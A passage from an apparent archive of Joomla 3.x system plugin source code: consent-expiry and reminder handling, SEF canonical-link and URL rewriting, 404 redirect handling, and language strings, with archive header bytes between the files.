			->set($db->quoteName('params') . ' = ' . $db->quote($this->params->toString('JSON')))
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('privacyconsent'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();
			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		// Delete the expired privacy consents
		$this->invalidateExpiredConsents();

		// Remind for privacy consents near to expire
		$this->remindExpiringConsents();

	}

	/**
	 * Method to send the remind for privacy consents renew
	 *
	 * @return  integer
	 *
	 * @since   3.9.0
	 */
	private function remindExpiringConsents()
	{
		// Load the parameters.
		$expire = (int) $this->params->get('consentexpiration', 365);
		$remind = (int) $this->params->get('remind', 30);
		$now    = JFactory::getDate()->toSql();
		$period = '-' . ($expire - $remind);

		$db    = $this->db;
		$query = $db->getQuery(true)
			->select($db->quoteName(array('r.id', 'r.user_id', 'u.email')))
			->from($db->quoteName('#__privacy_consents', 'r'))
			->leftJoin($db->quoteName('#__users', 'u') . ' ON u.id = r.user_id')
			->where($db->quoteName('subject') . ' = ' . $db->quote('PLG_SYSTEM_PRIVACYCONSENT_SUBJECT'))
			->where($db->quoteName('remind') . ' = 0');
		$query->where($query->dateAdd($db->quote($now), $period, 'DAY') . ' > ' . $db->quoteName('created'));

		try
		{
			$users = $db->setQuery($query)->loadObjectList();
		}
		catch (JDatabaseException $exception)
		{
			return false;
		}

		$app      = JFactory::getApplication();
		$linkMode = $app->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

		foreach ($users as $user)
		{
			$token       = JApplicationHelper::getHash(JUserHelper::genRandomPassword());
			$hashedToken = JUserHelper::hashPassword($token);

			// The mail
			try
			{
				$substitutions = array(
					'[SITENAME]' => $app->get('sitename'),
					'[URL]'      => JUri::root(),
					'[TOKENURL]' => JRoute::link('site', 'index.php?option=com_privacy&view=remind&remind_token=' . $token, false, $linkMode, true),
					'[FORMURL]'  => JRoute::link('site', 'index.php?option=com_privacy&view=remind', false, $linkMode, true),
					'[TOKEN]'    => $token,
					'\\n'        => "\n",
				);

				$emailSubject = JText::_('PLG_SYSTEM_PRIVACYCONSENT_EMAIL_REMIND_SUBJECT');
				$emailBody = JText::_('PLG_SYSTEM_PRIVACYCONSENT_EMAIL_REMIND_BODY');

				foreach ($substitutions as $k => $v)
				{
					$emailSubject = str_replace($k, $v, $emailSubject);
					$emailBody    = str_replace($k, $v, $emailBody);
				}

				$mailer = JFactory::getMailer();
				$mailer->setSubject($emailSubject);
				$mailer->setBody($emailBody);
				$mailer->addRecipient($user->email);

				$mailResult = $mailer->Send();

				if ($mailResult instanceof JException)
				{
					return false;
				}
				elseif ($mailResult === false)
				{
					return false;
				}

				// Update the privacy_consents item to not send the reminder again
				$query->clear()
					->update($db->quoteName('#__privacy_consents'))
					->set($db->quoteName('remind') . ' = 1 ')
					->set($db->quoteName('token') . ' = ' . $db->quote($hashedToken))
					->where($db->quoteName('id') . ' = ' . (int) $user->id);
				$db->setQuery($query);

				try
				{
					$db->execute();
				}
				catch (RuntimeException $e)
				{
					return false;
				}
			}
			catch (phpmailerException $exception)
			{
				return false;
			}
		}
	}

	/**
	 * Method to delete the expired privacy consents
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	private function invalidateExpiredConsents()
	{
		// Load the parameters.
		$expire = (int) $this->params->get('consentexpiration', 365);
		$now    = JFactory::getDate()->toSql();
		$period = '-' . $expire;

		$db    = $this->db;
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('id', 'user_id')))
			->from($db->quoteName('#__privacy_consents'))
			->where($query->dateAdd($db->quote($now), $period, 'DAY') . ' > ' . $db->quoteName('created'))
			->where($db->quoteName('subject') . ' = ' . $db->quote('PLG_SYSTEM_PRIVACYCONSENT_SUBJECT'))
			->where($db->quoteName('state') . ' = 1');
		$db->setQuery($query);

		try
		{
			$users = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		// Do not process further if no expired consents found
		if (empty($users))
		{
			return true;
		}

		// Push a notification to the site's super users
		JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/models', 'MessagesModel');
		JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_messages/tables');
		/** @var MessagesModelMessage $messageModel */
		$messageModel = JModelLegacy::getInstance('Message', 'MessagesModel');

		foreach ($users as $user)
		{
			$query = $db->getQuery(true)
				->update($db->quoteName('#__privacy_consents'))
				->set('state = 0')
				->where($db->quoteName('id') . ' = ' . (int) $user->id);
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				return false;
			}

			$messageModel->notifySuperUsers(
				JText::_('PLG_SYSTEM_PRIVACYCONSENT_NOTIFICATION_USER_PRIVACY_EXPIRED_SUBJECT'),
				JText::sprintf('PLG_SYSTEM_PRIVACYCONSENT_NOTIFICATION_USER_PRIVACY_EXPIRED_MESSAGE', JFactory::getUser($user->user_id)->username)
			);
		}

		return true;
	}
	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since    3.9.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		$conf = JFactory::getConfig();

		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $client_id ? JPATH_ADMINISTRATOR . '/cache' :
							$conf->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
PK�(]��ɢ�
�
'system/privacyconsent/field/privacy.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.privacyconsent
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

JFormHelper::loadFieldClass('radio');

/**
 * Provides input for privacy
 *
 * @since  3.9.0
 */
class JFormFieldprivacy extends JFormFieldRadio
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $type = 'privacy';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string   The field input markup.
	 *
	 * @since   3.9.0
	 */
	protected function getInput()
	{
		// Display the message before the field
		echo $this->getRenderer('plugins.system.privacyconsent.message')->render($this->getLayoutData());

		return parent::getInput();
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.9.0
	 */
	protected function getLabel()
	{
		if ($this->hidden)
		{
			return '';
		}

		return $this->getRenderer('plugins.system.privacyconsent.label')->render($this->getLayoutData());

	}

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.9.4
	 */
	protected function getLayoutData()
	{
		$data = parent::getLayoutData();

		$article = false;
		$privacyArticle = $this->element['article'] > 0 ? (int) $this->element['article'] : 0;

		if ($privacyArticle && Factory::getApplication()->isClient('site'))
		{
			$db    = Factory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName(array('id', 'alias', 'catid', 'language')))
				->from($db->quoteName('#__content'))
				->where($db->quoteName('id') . ' = ' . (int) $privacyArticle);
			$db->setQuery($query);
			$article = $db->loadObject();

			JLoader::register('ContentHelperRoute', JPATH_BASE . '/components/com_content/helpers/route.php');

			$slug = $article->alias ? ($article->id . ':' . $article->alias) : $article->id;
			$article->link  = ContentHelperRoute::getArticleRoute($slug, $article->catid, $article->language);
		}

		$extraData = array(
			'privacynote' => !empty($this->element['note']) ? $this->element['note'] : Text::_('PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_DEFAULT'),
			'options' => $this->getOptions(),
			'value'   => (string) $this->value,
			'translateLabel' => $this->translateLabel,
			'translateDescription' => $this->translateDescription,
			'translateHint' => $this->translateHint,
			'privacyArticle' => $privacyArticle,
			'article' => $article,
		);

		return array_merge($data, $extraData);
	}
}
PK�(]n*mf  system/sef/sef.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_sef</name>
	<author>Joomla! Project</author>
	<creationDate>December 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SEF_XML_DESCRIPTION</description>
	<files>
		<filename plugin="sef">sef.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_sef.ini</language>
		<language tag="en-GB">en-GB.plg_system_sef.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="domain"
					type="url"
					label="PLG_SEF_DOMAIN_LABEL"
					description="PLG_SEF_DOMAIN_DESCRIPTION"
					hint="https://www.example.com"
					filter="url"
					validate="url"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]?>� ��system/sef/sef.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.sef
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! SEF Plugin.
 *
 * @since  1.5
 */
class PlgSystemSef extends JPlugin
{
	/**
	 * Application object.
	 *
	 * @var    JApplicationCms
	 * @since  3.5
	 */
	protected $app;

	/**
	 * Add the canonical uri to the head.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function onAfterDispatch()
	{
		$doc = $this->app->getDocument();

		if (!$this->app->isClient('site') || $doc->getType() !== 'html')
		{
			return;
		}

		$sefDomain = $this->params->get('domain', false);

		// Don't add a canonical html tag if no alternative domain has added in SEF plugin domain field.
		if (empty($sefDomain))
		{
			return;
		}

		// Check if a canonical html tag already exists (for instance, added by a component).
		$canonical = '';

		foreach ($doc->_links as $linkUrl => $link)
		{
			if (isset($link['relation']) && $link['relation'] === 'canonical')
			{
				$canonical = $linkUrl;
				break;
			}
		}

		// If a canonical html tag already exists get the canonical and change it to use the SEF plugin domain field.
		if (!empty($canonical))
		{
			// Remove current canonical link.
			unset($doc->_links[$canonical]);

			// Set the current canonical link but use the SEF system plugin domain field.
			$canonical = $sefDomain . JUri::getInstance($canonical)->toString(array('path', 'query', 'fragment'));
		}
		// If a canonical html doesn't exists already add a canonical html tag using the SEF plugin domain field.
		else
		{
			$canonical = $sefDomain . JUri::getInstance()->toString(array('path', 'query', 'fragment'));
		}

		// Add the canonical link.
		$doc->addHeadLink(htmlspecialchars($canonical), 'canonical');
	}

	/**
	 * Convert the site URL to fit to the HTTP request.
	 *
	 * @return  void
	 */
	public function onAfterRender()
	{
		if (!$this->app->isClient('site'))
		{
			return;
		}

		// Replace src links.
		$base   = JUri::base(true) . '/';
		$buffer = $this->app->getBody();

		// For feeds we need to search for the URL with domain.
		$prefix = $this->app->getDocument()->getType() === 'feed' ? JUri::root() : '';

		// Replace index.php URI by SEF URI.
		if (strpos($buffer, 'href="' . $prefix . 'index.php?') !== false)
		{
			preg_match_all('#href="' . $prefix . 'index.php\?([^"]+)"#m', $buffer, $matches);

			foreach ($matches[1] as $urlQueryString)
			{
				$buffer = str_replace(
					'href="' . $prefix . 'index.php?' . $urlQueryString . '"',
					'href="' . trim($prefix, '/') . JRoute::_('index.php?' . $urlQueryString) . '"',
					$buffer
				);
			}

			$this->checkBuffer($buffer);
		}

		// Check for all unknown protocols (a protocol must contain at least one alphanumeric character followed by a ":").
		$protocols  = '[a-zA-Z0-9\-]+:';
		$attributes = array('href=', 'src=', 'poster=');

		foreach ($attributes as $attribute)
		{
			if (strpos($buffer, $attribute) !== false)
			{
				$regex  = '#\s' . $attribute . '"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
				$buffer = preg_replace($regex, ' ' . $attribute . '"' . $base . '$1"', $buffer);
				$this->checkBuffer($buffer);
			}
		}

		if (strpos($buffer, 'srcset=') !== false)
		{
			$regex = '#\s+srcset="([^"]+)"#m';

			$buffer = preg_replace_callback(
				$regex,
				function ($match) use ($base, $protocols)
				{
					preg_match_all('#(?:[^\s]+)\s*(?:[\d\.]+[wx])?(?:\,\s*)?#i', $match[1], $matches);

					foreach ($matches[0] as &$src)
					{
						$src = preg_replace('#^(?!/|' . $protocols . '|\#|\')(.+)#', $base . '$1', $src);
					}

					return ' srcset="' . implode($matches[0]) . '"';
				},
				$buffer
			);

			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in javascript window open events.
		if (strpos($buffer, 'window.open(') !== false)
		{
			$regex  = '#onclick="window.open\(\'(?!/|' . $protocols . '|\#)([^/]+[^\']*?\')#m';
			$buffer = preg_replace($regex, 'onclick="window.open(\'' . $base . '$1', $buffer);
			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in onmouseover and onmouseout attributes.
		$attributes = array('onmouseover=', 'onmouseout=');

		foreach ($attributes as $attribute)
		{
			if (strpos($buffer, $attribute) !== false)
			{
				$regex  = '#' . $attribute . '"this.src=([\']+)(?!/|' . $protocols . '|\#|\')([^"]+)"#m';
				$buffer = preg_replace($regex, $attribute . '"this.src=$1' . $base . '$2"', $buffer);
				$this->checkBuffer($buffer);
			}
		}

		// Replace all unknown protocols in CSS background image.
		if (strpos($buffer, 'style=') !== false)
		{
			$regex_url  = '\s*url\s*\(([\'\"]|\&\#0?3[49];)?(?!/|\&\#0?3[49];|' . $protocols . '|\#)([^\)\'\"]+)([\'\"]|\&\#0?3[49];)?\)';
			$regex  = '#style=\s*([\'\"])(.*):' . $regex_url . '#m';
			$buffer = preg_replace($regex, 'style=$1$2: url($3' . $base . '$4$5)', $buffer);
			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in OBJECT param tag.
		if (strpos($buffer, '<param') !== false)
		{
			// OBJECT <param name="xx", value="yy"> -- fix it only inside the <param> tag.
			$regex  = '#(<param\s+)name\s*=\s*"(movie|src|url)"[^>]\s*value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
			$buffer = preg_replace($regex, '$1name="$2" value="' . $base . '$3"', $buffer);
			$this->checkBuffer($buffer);

			// OBJECT <param value="xx", name="yy"> -- fix it only inside the <param> tag.
			$regex  = '#(<param\s+[^>]*)value\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"\s*name\s*=\s*"(movie|src|url)"#m';
			$buffer = preg_replace($regex, '<param value="' . $base . '$2" name="$3"', $buffer);
			$this->checkBuffer($buffer);
		}

		// Replace all unknown protocols in OBJECT tag.
		if (strpos($buffer, '<object') !== false)
		{
			$regex  = '#(<object\s+[^>]*)data\s*=\s*"(?!/|' . $protocols . '|\#|\')([^"]*)"#m';
			$buffer = preg_replace($regex, '$1data="' . $base . '$2"', $buffer);
			$this->checkBuffer($buffer);
		}

		// Use the replaced HTML body.
		$this->app->setBody($buffer);
	}

	/**
	 * Check the buffer.
	 *
	 * @param   string  $buffer  Buffer to be checked.
	 *
	 * @return  void
	 */
	private function checkBuffer($buffer)
	{
		if ($buffer === null)
		{
			switch (preg_last_error())
			{
				case PREG_BACKTRACK_LIMIT_ERROR:
					$message = 'PHP regular expression limit reached (pcre.backtrack_limit)';
					break;
				case PREG_RECURSION_LIMIT_ERROR:
					$message = 'PHP regular expression limit reached (pcre.recursion_limit)';
					break;
				case PREG_BAD_UTF8_ERROR:
					$message = 'Bad UTF8 passed to PCRE function';
					break;
				default:
					$message = 'Unknown PCRE error calling PCRE function';
			}

			throw new RuntimeException($message);
		}
	}

	/**
	 * Replace the matched tags.
	 *
	 * @param   array  &$matches  An array of matches (see preg_match_all).
	 *
	 * @return  string
	 *
	 * @deprecated  4.0  No replacement.
	 */
	protected static function route(&$matches)
	{
		JLog::add(__METHOD__ . ' is deprecated, no replacement.', JLog::WARNING, 'deprecated');

		$url   = $matches[1];
		$url   = str_replace('&amp;', '&', $url);
		$route = JRoute::_('index.php?' . $url);

		return 'href="' . $route;
	}
}
PK�(]-LS�TTsystem/redirect/redirect.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_redirect</name>
	<author>Joomla! Project</author>
	<creationDate>April 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_REDIRECT_XML_DESCRIPTION</description>
	<files>
		<folder>form</folder>
		<filename plugin="redirect">redirect.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_redirect.ini</language>
		<language tag="en-GB">en-GB.plg_system_redirect.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="collect_urls"
					type="radio"
					label="PLG_SYSTEM_REDIRECT_FIELD_COLLECT_URLS_LABEL"
					description="PLG_SYSTEM_REDIRECT_FIELD_COLLECT_URLS_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JENABLED</option>
					<option value="0">JDISABLED</option>
				</field>
				<field
					name="includeUrl"
					type="radio"
					label="PLG_SYSTEM_REDIRECT_FIELD_STORE_FULL_URL_LABEL"
					description="PLG_SYSTEM_REDIRECT_FIELD_STORE_FULL_URL_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>
				<field
					name="exclude_urls"
					type="subform"
					label="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_LABEL"
					description="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_DESC"
					multiple="true"
					formsource="plugins/system/redirect/form/excludes.xml"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK�(]�6j�%&%&system/redirect/redirect.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

/**
 * Plugin class for redirect handling.
 *
 * @since  1.6
 */
class PlgSystemRedirect extends JPlugin
{
	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  3.4
	 */
	protected $autoloadLanguage = false;

	/**
	 * The global exception handler registered before the plugin was instantiated
	 *
	 * @var    callable
	 * @since  3.6
	 */
	private static $previousExceptionHandler;

	/**
	 * Constructor.
	 *
	 * @param   object  &$subject  The object to observe
	 * @param   array   $config    An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		// Set the JError handler for E_ERROR to be the class' handleError method.
		JError::setErrorHandling(E_ERROR, 'callback', array('PlgSystemRedirect', 'handleError'));

		// Register the previously defined exception handler so we can forward errors to it
		self::$previousExceptionHandler = set_exception_handler(array('PlgSystemRedirect', 'handleException'));
	}

	/**
	 * Method to handle an error condition from JError.
	 *
	 * @param   JException  $error  The JException object to be handled.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public static function handleError(JException $error)
	{
		self::doErrorHandling($error);
	}

	/**
	 * Method to handle an uncaught exception.
	 *
	 * @param   Exception|Throwable  $exception  The Exception or Throwable object to be handled.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 * @throws  InvalidArgumentException
	 */
	public static function handleException($exception)
	{
		// If this isn't a Throwable then bail out
		if (!($exception instanceof Throwable) && !($exception instanceof Exception))
		{
			throw new InvalidArgumentException(
				sprintf('The error handler requires an Exception or Throwable object, a "%s" object was given instead.', get_class($exception))
			);
		}

		self::doErrorHandling($exception);
	}

	/**
	 * Internal processor for all error handlers
	 *
	 * @param   Exception|Throwable  $error  The Exception or Throwable object to be handled.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	private static function doErrorHandling($error)
	{
		$app = JFactory::getApplication();

		if ($app->isClient('administrator') || ((int) $error->getCode() !== 404))
		{
			// Proxy to the previous exception handler if available, otherwise just render the error page
			if (self::$previousExceptionHandler)
			{
				call_user_func_array(self::$previousExceptionHandler, array($error));
			}
			else
			{
				JErrorPage::render($error);
			}
		}

		$uri = JUri::getInstance();

		// These are the original URLs
		$orgurl                = rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'query', 'fragment')));
		$orgurlRel             = rawurldecode($uri->toString(array('path', 'query', 'fragment')));

		// The above doesn't work for sub directories, so do this
		$orgurlRootRel         = str_replace(JUri::root(), '', $orgurl);

		// For when users have added / to the url
		$orgurlRootRelSlash    = str_replace(JUri::root(), '/', $orgurl);
		$orgurlWithoutQuery    = rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'fragment')));
		$orgurlRelWithoutQuery = rawurldecode($uri->toString(array('path', 'fragment')));

		// These are the URLs we save and use
		$url                = StringHelper::strtolower(rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'query', 'fragment'))));
		$urlRel             = StringHelper::strtolower(rawurldecode($uri->toString(array('path', 'query', 'fragment'))));

		// The above doesn't work for sub directories, so do this
		$urlRootRel         = str_replace(JUri::root(), '', $url);

		// For when users have added / to the url
		$urlRootRelSlash    = str_replace(JUri::root(), '/', $url);
		$urlWithoutQuery    = StringHelper::strtolower(rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'fragment'))));
		$urlRelWithoutQuery = StringHelper::strtolower(rawurldecode($uri->toString(array('path', 'fragment'))));

		$plugin = JPluginHelper::getPlugin('system', 'redirect');

		$params = new Registry($plugin->params);

		$excludes = (array) $params->get('exclude_urls');

		$skipUrl = false;

		foreach ($excludes as $exclude)
		{
			if (empty($exclude->term))
			{
				continue;
			}

			if (!empty($exclude->regexp))
			{
				// Only check $url, because it includes all other sub urls
				if (preg_match('/' . $exclude->term . '/i', $orgurlRel))
				{
					$skipUrl = true;
					break;
				}
			}
			else
			{
				if (StringHelper::strpos($orgurlRel, $exclude->term) !== false)
				{
					$skipUrl = true;
					break;
				}
			}
		}

		// Why is this (still) here?
		if ($skipUrl || (strpos($url, 'mosConfig_') !== false) || (strpos($url, '=http://') !== false))
		{
			JErrorPage::render($error);
		}

		$db = JFactory::getDbo();

		$query = $db->getQuery(true);

		$query->select('*')
			->from($db->quoteName('#__redirect_links'))
			->where(
				'('
				. $db->quoteName('old_url') . ' = ' . $db->quote($url)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($urlRel)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($urlRootRel)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($urlRootRelSlash)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($urlWithoutQuery)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($urlRelWithoutQuery)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurl)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurlRel)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurlRootRel)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurlRootRelSlash)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurlWithoutQuery)
				. ' OR '
				. $db->quoteName('old_url') . ' = ' . $db->quote($orgurlRelWithoutQuery)
				. ')'
			);

		$db->setQuery($query);

		$redirect = null;

		try
		{
			$redirects = $db->loadAssocList();
		}
		catch (Exception $e)
		{
			JErrorPage::render(new Exception(JText::_('PLG_SYSTEM_REDIRECT_ERROR_UPDATING_DATABASE'), 500, $e));
		}

		$possibleMatches = array_unique(
			array(
				$url,
				$urlRel,
				$urlRootRel,
				$urlRootRelSlash,
				$urlWithoutQuery,
				$urlRelWithoutQuery,
				$orgurl,
				$orgurlRel,
				$orgurlRootRel,
				$orgurlRootRelSlash,
				$orgurlWithoutQuery,
				$orgurlRelWithoutQuery,
			)
		);

		foreach ($possibleMatches as $match)
		{
			if (($index = array_search($match, array_column($redirects, 'old_url'))) !== false)
			{
				$redirect = (object) $redirects[$index];

				if ((int) $redirect->published === 1)
				{
					break;
				}
			}
		}

		// A redirect object was found and, if published, will be used
		if ($redirect !== null && ((int) $redirect->published === 1))
		{
			if (!$redirect->header || (bool) JComponentHelper::getParams('com_redirect')->get('mode', false) === false)
			{
				$redirect->header = 301;
			}

			if ($redirect->header < 400 && $redirect->header >= 300)
			{
				$urlQuery = $uri->getQuery();

				$oldUrlParts = parse_url($redirect->old_url);

				$newUrl = $redirect->new_url;

				if ($urlQuery !== '' && empty($oldUrlParts['query']))
				{
					$newUrl .= '?' . $urlQuery;
				}

				$dest = JUri::isInternal($newUrl) || strpos($newUrl, 'http') === false ?
					JRoute::_($newUrl) : $newUrl;

				// In case the url contains double // lets remove it
				$destination = str_replace(JUri::root() . '/', JUri::root(), $dest);

				// Always count redirect hits
				$redirect->hits++;

				try
				{
					$db->updateObject('#__redirect_links', $redirect, 'id');
				}
				catch (Exception $e)
				{
					// We don't log issues for now
				}

				$app->redirect($destination, (int) $redirect->header);
			}

			JErrorPage::render(new RuntimeException($error->getMessage(), $redirect->header, $error));
		}
		// No redirect object was found so we create an entry in the redirect table
		elseif ($redirect === null)
		{
			$params = new Registry(JPluginHelper::getPlugin('system', 'redirect')->params);

			if ((bool) $params->get('collect_urls', 1))
			{
				if (!$params->get('includeUrl', 1))
				{
					$url = $urlRel;
				}

				$data = (object) array(
					'id' => 0,
					'old_url' => $url,
					'referer' => $app->input->server->getString('HTTP_REFERER', ''),
					'hits' => 1,
					'published' => 0,
					'created_date' => JFactory::getDate()->toSql()
				);

				try
				{
					$db->insertObject('#__redirect_links', $data, 'id');
				}
				catch (Exception $e)
				{
					JErrorPage::render(new Exception(JText::_('PLG_SYSTEM_REDIRECT_ERROR_UPDATING_DATABASE'), 500, $e));
				}
			}
		}
		// We have an unpublished redirect object, increment the hit counter
		else
		{
			$redirect->hits++;

			try
			{
				$db->updateObject('#__redirect_links', $redirect, 'id');
			}
			catch (Exception $e)
			{
				JErrorPage::render(new Exception(JText::_('PLG_SYSTEM_REDIRECT_ERROR_UPDATING_DATABASE'), 500, $e));
			}
		}

		// Proxy to the previous exception handler if available, otherwise just render the error page
		if (self::$previousExceptionHandler)
		{
			call_user_func_array(self::$previousExceptionHandler, array($error));
		}
		else
		{
			JErrorPage::render($error);
		}
	}
}
PK�(]1�r��!system/redirect/form/excludes.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="term"
			type="text"
			label="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_TERM_LABEL"
			description="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_TERM_DESC"
			required="true"
		/>
		<field
			name="regexp"
			type="checkbox"
			label="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_REGEXP_LABEL"
			description="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_REGEXP_DESC"
			filter="integer"
		/>
	</fieldset>
</form>
PK�(]�����Dsystem/languagecode/language/en-GB/en-GB.plg_system_languagecode.ininu�[���; Joomla! Project
; (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_LANGUAGECODE="System - Language Code"
PLG_SYSTEM_LANGUAGECODE_FIELD_DESC="Changes the language code used for the <em>%s</em> language."
PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC="Changes the language code for the generated HTML document. Example usage: You have installed the fr-FR language pack and want the Search Engines to recognise the page as aimed at French-speaking Canada. Add the tag 'fr-CA' to the corresponding field for 'fr-FR' to resolve this."
PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL="Language codes"
PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides the ability to change the language code in the generated HTML document to improve SEO.<br />The fields will appear when the plugin is enabled and saved."
PK�(]o���Hsystem/languagecode/language/en-GB/en-GB.plg_system_languagecode.sys.ininu�[���; Joomla! Project
; (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_LANGUAGECODE="System - Language Code"
PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides ability to change the language code in the generated HTML document to improve SEO"

PK�(]�}`$system/languagecode/languagecode.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.languagecode
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
